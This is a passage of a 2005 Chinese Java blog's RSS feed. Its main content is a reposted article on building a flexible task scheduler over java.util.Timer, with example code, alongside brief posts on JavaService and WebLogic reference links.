<LI><A href="http://publibn.boulder.ibm.com/doc_link/en_US/a_doc_lib/cmds/aixcmds6/xntpd.htm"><FONT color=#5c81a7><CODE>xntpd</CODE> 手册页</FONT></A> 讨论了 AIX 上的网络时间协议守护进程的内容。<BR><BR>
<LI>您可以在 developerWorks 的 <A href="http://www.ibm.com/developerworks/cn/java/"><FONT color=#5c81a7>Java 技术专区</FONT></A> 中找到有关 Java 编程各方面知识的文章。<BR></LI></UL><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#main"><B><FONT color=#996699>回页首</FONT></B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=author><SPAN class=atitle><FONT face=Arial size=4>关于作者</FONT></SPAN></A></P>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD colSpan=2><FONT face=Arial size=4><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width="100%"></FONT></TD></TR>
<TR vAlign=top align=left>
<TD>
<P><FONT face=Arial size=4></FONT></P></TD>
<TD>
<P>Charles Chan 是一名独立软件顾问，在加拿大的 Toronto 工作。他的兴趣包括分布式系统、高性能计算、国际化以及软件设计模式。在空闲时间，他为开源社区贡献自己的成果。</P></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/kapok/aggbug/12271.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-06 23:32 <a href="http://www.blogjava.net/kapok/archive/2005/09/06/12271.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用Javaservice在windows系统上安装java服务</title><link>http://www.blogjava.net/kapok/archive/2005/08/31/11668.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Wed, 31 Aug 2005 09:29:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/31/11668.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/11668.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/31/11668.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/11668.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/11668.html</trackback:ping><description><![CDATA[<H3 class=title>用Javaservice在windows系统上安装java服务</H3>
<P>JavaService是一个可以把任何java类当作NT服务运行的一个Win32可执行程序。它通过调用JNI的API创建使用任何兼容JNI的Java类实现的虚拟机。</P>
<P>为了启动服务，JavaService能调用典型的入口方法public static void main(String[] args)，当然，你也可以选择其他方法。为了停止服务，它能调用另外的一个方法或者只是简单地终止JVM。</P>
<P>详细资料请查阅：</P>
<P><A href="http://javaservice.objectweb.org/">http://javaservice.objectweb.org/</A></P>
<P><BR></P><img src ="http://www.blogjava.net/kapok/aggbug/11668.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-31 17:29 <a href="http://www.blogjava.net/kapok/archive/2005/08/31/11668.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java语言中Timer类的简洁用法 </title><link>http://www.blogjava.net/kapok/archive/2005/08/31/11648.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Wed, 31 Aug 2005 07:15:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/31/11648.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/11648.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/31/11648.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/11648.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/11648.html</trackback:ping><description><![CDATA[<TABLE style="WIDTH: 703px; HEIGHT: 3423px" cellSpacing=0 cellPadding=0 align=center>
<TBODY>
<TR>
<TD align=bottom width="100%" height=36 v="">
<DIV align=center><B><FONT color=#a00000 size=3>Java语言中Timer类的简洁用法</FONT></B> </DIV></TD></TR>
<TR>
<TD height=8>
<HR width="96%" color=#4a71b0 SIZE=1>
</TD></TR>
<TR>
<TD height=28>
<DIV align=center><BR></DIV><BR></TD></TR>
<TR>
<TD height=156>
<DIV class=font id=zoom>所有类型的 Java 应用程序一般都需要计划重复执行的任务。企业应用程序需要计划每日的日志或者晚间批处理过程。一个 J2SE 或者 J2ME 日历应用程序需要根据用户的约定计划闹铃时间。不过，标准的调度类 Timer 和 TimerTask 没有足够的灵活性，无法支持通常需要的计划任务类型。在本文中，Java 开发人员 Tom White 向您展示了如何构建一个简单通用的计划框架，以用于执行任意复杂的计划任务。 <BR><BR>我将把 java.util.Timer 和 java.util.TimerTask 统称为 Java 计时器框架，它们使程序员可以很容易地计划简单的任务（注意这些类也可用于 J2ME 中）。在 Java 2 SDK, Standard Edition, Version 1.3 中引入这个框架之前，开发人员必须编写自己的调度程序，这需要花费很大精力来处理线程和复杂的 Object.wait() 方法。不过，Java 计时器框架没有足够的能力来满足许多应用程序的计划要求。甚至一项需要在每天同一时间重复执行的任务，也不能直接使用 Timer 来计划，因为在夏令时开始和结束时会出现时间跳跃。 <BR><BR>本文展示了一个通用的 Timer 和 TimerTask 计划框架，从而允许更灵活的计划任务。这个框架非常简单 —— 它包括两个类和一个接口 —— 并且容易掌握。如果您习惯于使用 Java 定时器框架，那么您应该可以很快地掌握这个计划框架。 <BR><BR><B>计划单次任务</B> <BR><BR>计划框架建立在 Java 定时器框架类的基础之上。因此，在解释如何使用计划框架以及如何实现它之前，我们将首先看看如何用这些类进行计划。 <BR><BR>想像一个煮蛋计时器，在数分钟之后（这时蛋煮好了）它会发出声音提醒您。清单 1 中的代码构成了一个简单的煮蛋计时器的基本结构，它用 Java 语言编写： <BR><BR>清单 1. EggTimer 类 <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>package org.tiling.scheduling.examples;<BR><BR>import java.util.Timer;<BR>import java.util.TimerTask;<BR><BR>public class EggTimer {<BR> private final Timer timer = new Timer();<BR> private final int minutes;<BR><BR> public EggTimer(int minutes) {<BR> this.minutes = minutes;<BR> }<BR><BR> public void start() {<BR> timer.schedule(new TimerTask() {<BR> public void run() {<BR> playSound();<BR> timer.cancel();<BR> }<BR> private void playSound() {<BR> System.out.println("Your egg is ready!");<BR> // Start a new thread to play a sound...<BR> }<BR> }, minutes * 60 * 1000);<BR> }<BR><BR> public static void main(String[] args) {<BR> EggTimer eggTimer = new EggTimer(2);<BR> eggTimer.start();<BR> }<BR><BR>}</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>EggTimer 实例拥有一个 Timer 实例，用于提供必要的计划。用 start() 方法启动煮蛋计时器后，它就计划了一个 TimerTask，在指定的分钟数之后执行。时间到了，Timer 就在后台调用 TimerTask 的 start() 方法，这会使它发出声音。在取消计时器后这个应用程序就会中止。 <BR><BR><B>计划重复执行的任务</B> <BR><BR>通过指定一个固定的执行频率或者固定的执行时间间隔，Timer 可以对重复执行的任务进行计划。不过，有许多应用程序要求更复杂的计划。例如，每天清晨在同一时间发出叫醒铃声的闹钟不能简单地使用固定的计划频率 86400000 毫秒（24 小时），因为在钟拨快或者拨慢（如果您的时区使用夏令时）的那些天里，叫醒可能过晚或者过早。解决方案是使用日历算法计算每日事件下一次计划发生的时间。 而这正是计划框架所支持的。考虑清单 2 中的 AlarmClock 实现： <BR><BR>清单 2. AlarmClock 类 <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>package org.tiling.scheduling.examples;<BR><BR>import java.text.SimpleDateFormat;<BR><BR>import java.util.Date;<BR><BR>import org.tiling.scheduling.Scheduler;<BR>import org.tiling.scheduling.SchedulerTask;<BR>import org.tiling.scheduling.examples.iterators.DailyIterator;<BR><BR>public class AlarmClock {<BR><BR> private final Scheduler scheduler = new Scheduler();<BR> private final SimpleDateFormat dateFormat =<BR> new SimpleDateFormat("dd MMM yyyy HH:mm:ss.SSS");<BR> private final int hourOfDay, minute, second;<BR><BR> public AlarmClock(int hourOfDay, int minute, int second) {<BR> this.hourOfDay = hourOfDay;<BR> this.minute = minute;<BR> this.second = second;<BR> }<BR><BR> public void start() {<BR> scheduler.schedule(new SchedulerTask() {<BR> public void run() {<BR> soundAlarm();<BR> }<BR> private void soundAlarm() {<BR> System.out.println("Wake up! " +<BR> "It&amp;quots " + dateFormat.format(new Date()));<BR> // Start a new thread to sound an alarm...<BR> }<BR> }, new DailyIterator(hourOfDay, minute, second));<BR> }<BR><BR> public static void main(String[] args) {<BR> AlarmClock alarmClock = new AlarmClock(7, 0, 0);<BR> alarmClock.start();<BR> }<BR>}</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>注意这段代码与煮蛋计时器应用程序非常相似。AlarmClock 实例拥有一个 Scheduler （而不是 Timer）实例，用于提供必要的计划。启动后，这个闹钟对 SchedulerTask （而不是 TimerTask）进行调度用以发出报警声。这个闹钟不是计划一个任务在固定的延迟时间后执行，而是用 DailyIterator 类描述其计划。在这里，它只是计划任务在每天上午 7:00 执行。下面是一个正常运行情况下的输出： <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>Wake up! It&amp;quots 24 Aug 2003 07:00:00.023<BR>Wake up! It&amp;quots 25 Aug 2003 07:00:00.001<BR>Wake up! It&amp;quots 26 Aug 2003 07:00:00.058<BR>Wake up! It&amp;quots 27 Aug 2003 07:00:00.015<BR>Wake up! It&amp;quots 28 Aug 2003 07:00:00.002<BR>...</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>DailyIterator 实现了 ScheduleIterator，这是一个将 SchedulerTask 的计划执行时间指定为一系列 java.util.Date 对象的接口。然后 next() 方法按时间先后顺序迭代 Date 对象。返回值 null 会使任务取消（即它再也不会运行）—— 这样的话，试图再次计划将会抛出一个异常。清单 3 包含 ScheduleIterator 接口： <BR><BR>清单 3. ScheduleIterator 接口 <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>package org.tiling.scheduling;<BR><BR>import java.util.Date;<BR><BR>public interface ScheduleIterator {<BR> public Date next();<BR>}</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>DailyIterator 的 next() 方法返回表示每天同一时间（上午 7:00）的 Date 对象，如清单 4 所示。所以，如果对新构建的 next() 类调用 next()，那么将会得到传递给构造函数的那个日期当天或者后面一天的 7:00 AM。再次调用 next() 会返回后一天的 7:00 AM，如此重复。为了实现这种行为，DailyIterator 使用了 java.util.Calendar 实例。构造函数会在日历中加上一天，对日历的这种设置使得第一次调用 next() 会返回正确的 Date。注意代码没有明确地提到夏令时修正，因为 Calendar 实现（在本例中是 GregorianCalendar）负责对此进行处理，所以不需要这样做。 <BR><BR>清单 4. DailyIterator 类 <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>package org.tiling.scheduling.examples.iterators;<BR><BR>import org.tiling.scheduling.ScheduleIterator;<BR><BR>import java.util.Calendar;<BR>import java.util.Date;<BR><BR>/**<BR> * A DailyIterator class returns a sequence of dates on subsequent days<BR> * representing the same time each day.<BR> */<BR>public class DailyIterator implements ScheduleIterator {<BR> private final int hourOfDay, minute, second;<BR> private final Calendar calendar = Calendar.getInstance();<BR><BR> public DailyIterator(int hourOfDay, int minute, int second) {<BR> this(hourOfDay, minute, second, new Date());<BR> }<BR><BR> public DailyIterator(int hourOfDay, int minute, int second, Date date) {<BR> this.hourOfDay = hourOfDay;<BR> this.minute = minute;<BR> this.second = second;<BR> calendar.setTime(date);<BR> calendar.set(Calendar.HOUR_OF_DAY, hourOfDay);<BR> calendar.set(Calendar.MINUTE, minute);<BR> calendar.set(Calendar.SECOND, second);<BR> calendar.set(Calendar.MILLISECOND, 0);<BR> if (!calendar.getTime().before(date)) {<BR> calendar.add(Calendar.DATE, -1);<BR> }<BR> }<BR><BR> public Date next() {<BR> calendar.add(Calendar.DATE, 1);<BR> return calendar.getTime();<BR> }<BR><BR>}</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><A href="http://tech.ccidnet.com/pub/article/c322_a78111_p1.html"><BR></A></DIV></TD></TR></TBODY></TABLE><SPAN class=myp111><FONT id=zoom><B>实现计划框架</B> <BR><BR>在上一节，我们学习了如何使用计划框架，并将它与 Java 定时器框架进行了比较。下面，我将向您展示如何实现这个框架。除了 清单 3 中展示的 ScheduleIterator 接口，构成这个框架的还有另外两个类 —— Scheduler 和 SchedulerTask 。这些类实际上在内部使用 Timer 和 SchedulerTask，因为计划其实就是一系列的单次定时器。清单 5 和 6 显示了这两个类的源代码： <BR><BR>清单 5. Scheduler <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>package org.tiling.scheduling;<BR><BR>import java.util.Date;<BR>import java.util.Timer;<BR>import java.util.TimerTask;<BR><BR>public class Scheduler {<BR><BR> class SchedulerTimerTask extends TimerTask {<BR> private SchedulerTask schedulerTask;<BR> private ScheduleIterator iterator;<BR> public SchedulerTimerTask(SchedulerTask schedulerTask,<BR> ScheduleIterator iterator) {<BR> this.schedulerTask = schedulerTask;<BR> this.iterator = iterator;<BR> }<BR> public void run() {<BR> schedulerTask.run();<BR> reschedule(schedulerTask, iterator);<BR> }<BR> }<BR><BR> private final Timer timer = new Timer();<BR><BR> public Scheduler() {<BR> }<BR><BR> public void cancel() {<BR> timer.cancel();<BR> }<BR><BR> public void schedule(SchedulerTask schedulerTask,<BR> ScheduleIterator iterator) {<BR><BR> Date time = iterator.next();<BR> if (time == null) {<BR> schedulerTask.cancel();<BR> } else {<BR> synchronized(schedulerTask.lock) {<BR> if (schedulerTask.state != SchedulerTask.VIRGIN) {<BR> throw new IllegalStateException("Task already <BR> scheduled " + "or cancelled");<BR> }<BR> schedulerTask.state = SchedulerTask.SCHEDULED;<BR> schedulerTask.timerTask =<BR> new SchedulerTimerTask(schedulerTask, iterator);<BR> timer.schedule(schedulerTask.timerTask, time);<BR> }<BR> }<BR> }<BR><BR> private void reschedule(SchedulerTask schedulerTask,<BR> ScheduleIterator iterator) {<BR><BR> Date time = iterator.next();<BR> if (time == null) {<BR> schedulerTask.cancel();<BR> } else {<BR> synchronized(schedulerTask.lock) {<BR> if (schedulerTask.state != SchedulerTask.CANCELLED) {<BR> schedulerTask.timerTask =<BR> new SchedulerTimerTask(schedulerTask, iterator);<BR> timer.schedule(schedulerTask.timerTask, time);<BR> }<BR> }<BR> }<BR> }<BR><BR>}</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>清单 6 显示了 SchedulerTask 类的源代码： <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>package org.tiling.scheduling;<BR><BR>import java.util.TimerTask;<BR><BR>public abstract class SchedulerTask implements Runnable {<BR><BR> final Object lock = new Object();<BR><BR> int state = VIRGIN;<BR> static final int VIRGIN = 0;<BR> static final int SCHEDULED = 1;<BR> static final int CANCELLED = 2;<BR><BR> TimerTask timerTask;<BR><BR> protected SchedulerTask() {<BR> }<BR><BR> public abstract void run();<BR><BR> public boolean cancel() {<BR> synchronized(lock) {<BR> if (timerTask != null) {<BR> timerTask.cancel();<BR> }<BR> boolean result = (state == SCHEDULED);<BR> state = CANCELLED;<BR> return result;<BR> }<BR> }<BR><BR> public long scheduledExecutionTime() {<BR> synchronized(lock) {<BR> return timerTask == null ? 0 : timerTask.scheduledExecutionTime();<BR> }<BR> }<BR><BR>}</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>就像煮蛋计时器，Scheduler 的每一个实例都拥有 Timer 的一个实例，用于提供底层计划。Scheduler 并没有像实现煮蛋计时器时那样使用一个单次定时器，它将一组单次定时器串接在一起，以便在由 ScheduleIterator 指定的各个时间执行 SchedulerTask 类。 <BR><BR>考虑 Scheduler 上的 public schedule() 方法 —— 这是计划的入口点，因为它是客户调用的方法（在 取消任务 一节中将描述仅有的另一个 public 方法 cancel()）。通过调用 ScheduleIterator 接口的 next()，发现第一次执行 SchedulerTask 的时间。然后通过调用底层 Timer 类的单次 schedule() 方法，启动计划在这一时刻执行。为单次执行提供的 TimerTask 对象是嵌入的 SchedulerTimerTask 类的一个实例，它包装了任务和迭代器（iterator）。在指定的时间，调用嵌入类的 run() 方法，它使用包装的任务和迭代器引用以便重新计划任务的下一次执行。reschedule() 方法与 schedule() 方法非常相似，只不过它是 private 的，并且执行一组稍有不同的 SchedulerTask 状态检查。重新计划过程反复重复，为每次计划执行构造一个新的嵌入类实例，直到任务或者调度程序被取消（或者 JVM 关闭）。 <BR><BR>类似于 TimerTask，SchedulerTask 在其生命周期中要经历一系列的状态。创建后，它处于 VIRGIN 状态，这表明它从没有计划过。计划以后，它就变为 SCHEDULED 状态，再用下面描述的方法之一取消任务后，它就变为 CANCELLED 状态。管理正确的状态转变 —— 如保证不对一个非 VIRGIN 状态的任务进行两次计划 —— 增加了 Scheduler 和 SchedulerTask 类的复杂性。在进行可能改变任务状态的操作时，代码必须同步任务的锁对象。 <BR><BR><B>取消任务</B> <BR><BR>取消计划任务有三种方式。第一种是调用 SchedulerTask 的 cancel() 方法。这很像调用 TimerTask 的 cancel()方法：任务再也不会运行了，不过已经运行的任务仍会运行完成。 cancel() 方法的返回值是一个布尔值，表示如果没有调用 cancel() 的话，计划的任务是否还会运行。更准确地说，如果任务在调用 cancel() 之前是 SCHEDULED 状态，那么它就返回 true。如果试图再次计划一个取消的（甚至是已计划的）任务，那么 Scheduler 就会抛出一个 IllegalStateException。 <BR><BR>取消计划任务的第二种方式是让 ScheduleIterator 返回 null。这只是第一种方式的简化操作，因为 Scheduler 类调用 SchedulerTask 类的 cancel()方法。如果您想用迭代器而不是任务来控制计划停止时间时，就用得上这种取消任务的方式了。 <BR><BR>第三种方式是通过调用其 cancel() 方法取消整个 Scheduler。这会取消调试程序的所有任务，并使它不能再计划任何任务。 <BR><BR><B>扩展 cron 实用程序</B> <BR><BR>可以将计划框架比作 UNIX 的 cron 实用程序，只不过计划次数的规定是强制性而不是声明性的。例如，在 AlarmClock 实现中使用的 DailyIterator 类，它的计划与 cron 作业的计划相同，都是由以 0 7 * * * 开始的 crontab 项指定的（这些字段分别指定分钟、小时、日、月和星期）。 <BR><BR>不过，计划框架比 cron 更灵活。想像一个在早晨打开热水的 HeatingController 应用程序。我想指示它“在每个工作日上午 8:00 打开热水，在周未上午 9:00 打开热水”。使用 cron，我需要两个 crontab 项（0 8 * * 1,2,3,4,5 和 0 9 * * 6,7）。而使用 ScheduleIterator 的解决方案更简洁一些，因为我可以使用复合（composition）来定义单一迭代器。清单 7 显示了其中的一种方法： <BR><BR>清单 7. 用复合定义单一迭代器 <BR><BR><CCID_NOBR></CCID_NOBR>
<TABLE cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=center borderColorLight=black border=1>
<TBODY>
<TR>
<TD class=code style="FONT-SIZE: 9pt" bgColor=#e6e6e6><PRE><CCID_CODE>int[] weekdays = new int[] {<BR> Calendar.MONDAY,<BR> Calendar.TUESDAY,<BR> Calendar.WEDNESDAY,<BR> Calendar.THURSDAY,<BR> Calendar.FRIDAY<BR> };<BR> int[] weekend = new int[] {<BR> Calendar.SATURDAY,<BR> Calendar.SUNDAY<BR> };<BR> ScheduleIterator i = new CompositeIterator(<BR> new ScheduleIterator[] {<BR> new RestrictedDailyIterator(8, 0, 0, weekdays),<BR> new RestrictedDailyIterator(9, 0, 0, weekend)<BR> }<BR> );</CCID_CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>RestrictedDailyIterator 类很像 DailyIterator，只不过它限制为只在一周的特定日子里运行，而一个 CompositeIterator 类取得一组 ScheduleIterators，并将日期正确排列到单个计划中。 <BR><BR>有许多计划是 cron 无法生成的，但是 ScheduleIterator 实现却可以。例如，“每个月的最后一天”描述的计划可以用标准 Java 日历算法来实现（用 Calendar 类），而用 cron 则无法表达它。应用程序甚至无需使用 Calendar 类。在本文的源代码（请参阅 参考资料）中，我加入了一个安全灯控制器的例子，它按“在日落之前 15 分钟开灯”这一计划运行。这个实现使用了 Calendrical Calculations Software Package，用于计算当地（给定经度和纬度）的日落时间。 <BR><BR><B>实时保证</B> <BR><BR>在编写使用计划的应用程序时，一定要了解框架在时间方面有什么保证。我的任务是提前还是延迟执行？如果有提前或者延迟，偏差最大值是多少？不幸的是，对这些问题没有简单的答案。不过在实际中，它的行为对于很多应用程序已经足够了。下面的讨论假设系统时钟是正确的。 <BR><BR>因为 Scheduler 将计划委托给 Timer 类，Scheduler 可以做出的实时保证与 Timer 的一样。Timer 用 Object.wait(long) 方法计划任务。当前线程要等待直到唤醒它，唤醒可能出于以下原因之一： <BR><BR>1.另一个线程调用对象的 notify() 或者 notifyAll() 方法。 <BR><BR>2.线程被另一个线程中断。 <BR><BR>3.在没有通知的情况下，线程被唤醒（称为 spurious wakeup，Joshua Bloch 的 Effective Java Programming Language Guide 一书中 Item 50 对其进行了描述 。 <BR><BR>4.规定的时间已到。 <BR><BR>对于 Timer 类来说，第一种可能性是不会发生的，因为对其调用 wait() 的对象是私有的。即便如此，Timer 实现仍然针对前三种提前唤醒的原因进行了保护，这样保证了线程在规定时间后才唤醒。目前，Object.wait(long) 的文档注释声明，它会在规定的时间“前后”苏醒，所以线程有可能提前唤醒。在本例中，Timer 会让另一个 wait() 执行（scheduledExecutionTime - System.currentTimeMillis()）毫秒，从而保证任务永远不会提前执行。任务是否会延迟执行呢？会的。延迟执行有两个主要原因：线 程计划和垃圾收集。 <BR><BR>Java 语言规范故意没有对线程计划做严格的规定。这是因为 Java 平台是通用的，并针对于大范围的硬件及其相关的操作系统。虽然大多数 JVM 实现都有公平的线程调度程序，但是这一点没有任何保证 —— 当然，各个实现都有不同的为线程分配处理器时间的策略。因此，当 Timer 线程在分配的时间后唤醒时，它实际执行其任务的时间取决于 JVM 的线程计划策略，以及有多少其他线程竞争处理器时间。因此，要减缓任务的延迟执行，应该将应用程序中可运行的线程数降至最少。为了做到这一点，可以考虑在 一个单独的 JVM 中运行调度程序。 <BR><BR>对于创建大量对象的大型应用程序，JVM 花在垃圾收集（GC）上的时间会非常多。默认情况下，进行 GC 时，整个应用程序都必须等待它完成，这可能要有几秒钟甚至更长的时间（Java 应用程序启动器的命令行选项 -verbose:gc 将导致向控制台报告每一次 GC 事件）。要将这些由 GC 引起的暂停（这可能会影响快速任务的执行）降至最少，应该将应用程序创建的对象的数目降至最低。同样，在单独的 JVM 中运行计划代码是有帮助的。同时，可以试用几个微调选项以尽可能地减少 GC 暂停。例如，增量 GC 会尽量将主收集的代价分散到几个小的收集上。当然这会降低 GC 的效率，但是这可能是时间计划的一个可接受的代价。 <BR><BR><B>被计划到什么时候？</B> <BR><BR>如果任务本身能监视并记录所有延迟执行的实例，那么对于确定任务是否能按时运行会很有帮助。SchedulerTask 类似于 TimerTask，有一个 scheduledExecutionTime() 方法，它返回计划任务最近一次执行的时间。在任务的 run() 方法开始时，对表达式 System.currentTimeMillis() - scheduledExecutionTime() 进行判断，可以让您确定任务延迟了多久执行（以毫秒为单位）。可以记录这个值，以便生成一个关于延迟执行的分布统计。可以用这个值决定任务应当采取什么动 作 —— 例如，如果任务太迟了，那么它可能什么也不做。在遵循上述原则的情况下，如果应用程序需要更严格的时间保证，可参考 Java 的实时规范。 <BR><BR><B>结束语</B> <BR><BR>在本文中，我介绍了 Java 定时器框架的一个简单增强，它使得灵活的计划策略成为可能。新的框架实质上是更通用的 cron —— 事实上，将 cron 实现为一个 ScheduleIterator 接口，用以替换单纯的 Java cron，这是非常有用的。虽然没有提供严格的实时保证，但是许多需要计划定期任务的通用 Java 应用程序都可以使用这一框架。 <BR><BR><B>参考资料</B> <BR><BR>·下载本文中使用的 <A href="ftp://www6.software.ibm.com/software/developer/library/j-schedule.zip">源代码。</A> <BR><BR>·“<A href="http://java.sun.com/docs/hotspot/gc/">Tuning Garbage Collection with the 1.3.1 Java Virtual Machine</A>”是 Sun 的一篇非常有用的文章，它给出了关于如何最小化 GC 暂停时间的提示。 <BR><BR>·要获得 developerWorks 中有关 GC 的更多信息，请参阅以下文章： <BR><BR>“<A href="http://www-900.ibm.com/developerWorks/cn/java/j-jtp10283/">Java 理论与实践：垃圾收集简史</A>” （2003 年 10 月）。 <BR><BR>“<A href="http://www-106.ibm.com/developerworks/ibm/library/i-incrcomp/">Mash that trash</A>”（2003 年 7 月）。 <BR><BR>“<A href="http://www-106.ibm.com/developerworks/ibm/library/i-gctroub/">Fine-tuning Java garbage collection performance</A>”（2003 年 1 月）。 <BR><BR>“<A href="http://www-106.ibm.com/developerworks/ibm/library/i-garbage1/">Sensible sanitation, Part 1</A>”（2002 年 8 月）。 <BR><BR>“<A href="http://www-106.ibm.com/developerworks/ibm/library/i-garbage2/">Sensible sanitation, Part 2</A>”（2002 年 8 月）。 <BR><BR>“<A href="http://www-106.ibm.com/developerworks/ibm/library/i-garbage3/">Sensible sanitation, Part 3</A>”（2002 年 9 月）。 <BR><BR>·在“<A href="http://www-900.ibm.com/developerWorks/cn/java/j-jtp1126/">Java 理论与实践：并发在一定程度上使一切变得简单</A>”（developerWorks， 2002 年 11 月）中，Brian Goetz 讨论了 Doug Lea 的 util.concurrent 库，这是一个并发实用工具类的宝库。 <BR><BR>·Brian Goetz 的另一篇文章“<A href="http://www-106.ibm.com/developerworks/java/library/j-threads2.html">Threading lightly, Part 2: Reducing contention</A>”（developerWorks，2001 年 9 月）分析了线程竞用以及如何减少它。 <BR><BR><B>关于作者</B> <BR><BR>Tom White 是 Kizoom 的首席 Java 开发人员，Kizoom 是一家领先的英国软件公司，提供向移动设备发送个性化旅行信息的服务。客户包括英国的国家火车操作员、伦敦公共交通系统（national train operator），以及英国国家公共汽车公司。自 1999 年成立以来，Kizoom 使用了极限编程的所有方法。自 1996 年起，Tom 一直全职编写 Java 程序，使用了大部分标准和企业 Java API，编写了从客户 Swing GUI 和图形到后端消息传送系统等各种应用程序。他在剑桥大学获得了一级荣誉学位（first class honours degree）。工作之余，Tom 喜欢逗他的小女儿开心，观看 20 世纪 30 年代的好莱坞电影。可以通过 tom@tiling.org 与 Tom 联系。 </FONT></SPAN><img src ="http://www.blogjava.net/kapok/aggbug/11648.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-31 15:15 <a href="http://www.blogjava.net/kapok/archive/2005/08/31/11648.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MOM备忘录</title><link>http://www.blogjava.net/kapok/archive/2005/08/28/10074.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Sat, 27 Aug 2005 17:57:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/28/10074.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10074.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/28/10074.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10074.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10074.html</trackback:ping><description><![CDATA[MOM备忘录<BR>1.<BR>Overview of WebLogic Server Domains<BR><A href="http://e-docs.bea.com/wls/docs81/adminguide/overview_domain.html">http://e-docs.bea.com/wls/docs81/adminguide/overview_domain.html</A><BR><BR>2.<BR>Overview of Node Manager<BR><A href="http://e-docs.bea.com/wls/docs81/adminguide/nodemgr.html#1153289">http://e-docs.bea.com/wls/docs81/adminguide/nodemgr.html#1153289</A><BR><BR>3.<BR>WebLogic Server Tools<BR><A 